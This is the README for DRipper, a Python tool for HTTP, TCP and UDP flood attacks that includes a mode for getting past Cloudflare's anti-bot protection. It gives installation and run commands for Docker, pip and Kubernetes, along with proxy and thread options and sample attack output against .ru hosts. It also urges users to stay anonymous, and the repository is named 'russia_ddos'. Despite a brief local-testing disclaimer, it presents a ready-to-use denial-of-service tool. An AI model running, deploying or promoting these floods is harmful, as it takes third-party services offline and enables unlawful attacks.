DRipper
DESCRIPTION
This is reworked version of DRipper. This script support HTTP/TCP/UDP flood attack. We recommend using this script for your own test purposes in the local (on-premise) environment to improve your own web services against DDoS attacks.
Prerequisites
- Python 3.9 or higher
- Docker (optional) if you'd like to run script with docker
Features
Attacks
- HTTP Flood - OSI Layer 7 method volumetric attack type
- HTTP Bypass - OSI Layer 7 method volumetric attack type with to bypass Cloudflare's anti-bot page (also known as "I'm Under Attack Mode", or IUAM)
- TCP Flood - OSI Layer 4 method volumetric attack type
- UDP Flood - OSI Layer 4 method volumetric attack type
Other features
- Multiple targets support - the script can attack multiple targets at the same time
- Detailed statistics with deep attack log for better attack analysis during the attack
- Display average request rate and throughput
- Periodic checks of your public IP address to ensure your privacy and VPN connection survivability.
- Automatic and periodic checks for the availability of the attacked host
- Distributed statistics of the response code for the attacked host, which helps you to understand the effectiveness of attacks
- Detection of redirects and rate limits with alerts in the event log
How it looks
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Starting DRipper โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[23:17:39] (1/3) tcp://www.site1.ru:80/ (192.168.0.101:80) Trying to connect... services.py:135
(1/3) tcp://www.site1.ru:80/ (192.168.0.101:80) Connected services.py:138
(1/3) https://www.site2.ru:443/ (192.168.0.102:443) Trying to connect... services.py:135
(1/3) https://www.site2.ru:443/ (192.168.0.102:443) Connected services.py:138
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโ โโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโ โโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโ โโโ โโโโโโโโโโโ โโโ
โโโโโโโ โโโ โโโโโโโโโ โโโ โโโโโโโโโโโ โโโ
v2.5.0
It is the end user's responsibility to obey all applicable laws.
It is just like a server testing script and Your IP is visible.
Please, make sure you are ANONYMOUS!
https://github.com/alexmon1989/russia_ddos
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Description Status
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Start Time, Duration 2022-04-08 23:17:29 (0:00:14)
Your Country, Public IP DK 45.***.***.***
Total Threads 200
vCPU Count 8
Socket Timeout (seconds) 1
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Target (tcp://www.site1.ru:80/) 1/2 (next in 1)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Country, Host IP RU 192.168.0.101:80 (target-0)
Attack Method TCP-FLOOD
Random Packet Length (bytes) From 1 to 1024
Threads 100
CloudFlare Protection Not protected
Availability (check-host.net) ...detecting (TCP method)
Sent Bytes @ AVG speed 1.73 MB @ 119.76 kB/s
Sent Packets @ AVG speed 3,531 @ 238 packets/s
Connections success: 100, failed: 0, success rate: 100 %
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Events Log
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[23:17:40] info target-0 thread-14 Creating new TCP connection...
[23:17:40] info target-0 thread-114 Creating new TCP connection...
[23:17:40] info target-0 thread-16 Creating new TCP connection...
[23:17:40] info target-0 thread-20 Creating new TCP connection...
[23:17:40] info target-0 thread-22 Creating new TCP connection...
Press CTRL+C to interrupt process.
#StandWithUkraine
Usage
DRipper can run on Windows/Linux/macOS from command line.
We recommend to use PowerShell
for Windows users to run the script, Linux/macOS users can use any shell.
Run dripper --help
to see detailed params description.
Usage: DRipper.py [options] arg
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-s TARGETS, --targets=TARGETS Attack target in {scheme}://{hostname}[:{port}][{path}] format.
Multiple targets allowed.
-m ATTACK_METHOD, --method=ATTACK_METHOD Attack method: udp-flood, tcp-flood, http-flood, http-bypass
-e HTTP_METHOD, --http-method=HTTP_METHOD HTTP method. Default: GET
-t THREADS_COUNT, --threads=THREADS_COUNT Total threads count. Default: 100
--min-random-packet-len=MIN_RANDOM_PACKET_LEN
Min random packets length. Default: 1 for udp/tcp
-l MAX_RANDOM_PACKET_LEN, --max-random_packet-len=MAX_RANDOM_PACKET_LEN
Max random packets length. Default: 1024 for udp/tcp
-y PROXY_LIST, --proxy-list=PROXY_LIST File (fs or http/https) with proxies in
ip:port:username:password line format. Proxies will be ignored
in udp attack!
-k PROXY_TYPE, --proxy-type=PROXY_TYPE Type of proxy to work with. Supported types: socks5, socks4,
http. Default: socks5
-c HEALTH_CHECK, --health-check=HEALTH_CHECK Controls health check availability. Turn on: 1, turn off: 0.
Default: 1
-o SOCKET_TIMEOUT, --socket-timeout=SOCKET_TIMEOUT Timeout for socket connection is seconds. Default (seconds): 1
without proxy, 2 with proxy
--dry-run Print formatted output without full script running.
--log-size=LOG_SIZE Set the Events Log history frame length.
--log-level=EVENT_LEVEL Log level for events board. Supported levels: info, warn, error,
none.
-d DURATION_SECONDS, --duration=DURATION_SECONDS Attack duration in seconds. After this duration script will
stop its execution.
Example: dripper -t 100 -m tcp-flood -s tcp://192.168.0.1:80
How to Run
Using Docker
# HTTP flood
docker run -it --rm alexmon1989/dripper:latest -t 100 -m http-flood -s http://127.0.0.1:80
# or
docker run -it --rm alexmon1989/dripper:latest -t 100 -s http://127.0.0.1:80
# or even
docker run -it --rm alexmon1989/dripper:latest -s http://127.0.0.1
# TCP flood
docker run -it --rm alexmon1989/dripper:latest -t 100 -l 2048 -s tcp://127.0.0.1:80
# UDP flood
docker run -it --rm alexmon1989/dripper:latest -t 100 -l 2048 -s udp://127.0.0.1:80
Directly with Python.
Ensure you have Python 3.9 or better installed. Then clone this repo and run DRipper.py with params you need
git clone https://github.com/alexmon1989/russia_ddos.git
cd russia_ddos
# Install dependencies
python3 -m pip install --upgrade pip git+https://github.com/alexmon1989/russia_ddos.git
# Run script
dripper -t 100 -s udp://127.0.0.1:80
# ===== Alternative variant =====
# Install python dependencies:
pip install -r requirements.txt
# Run script
python3 DRipper.py -t 100 -s udp://127.0.0.1:80
Kubernetes
You can deploy and run DRipper in Kubernetes cluster using kube-dripper terraform configuration. For details - see the README from kube-dripper project.
How to run unit tests
Prepare
pip install -r requirements.test.txt
Run
pytest
# with code coverage report:
pytest --cov-report=html:./htmlcov
License
This project is distributed under the MIT License, see LICENSE for more information.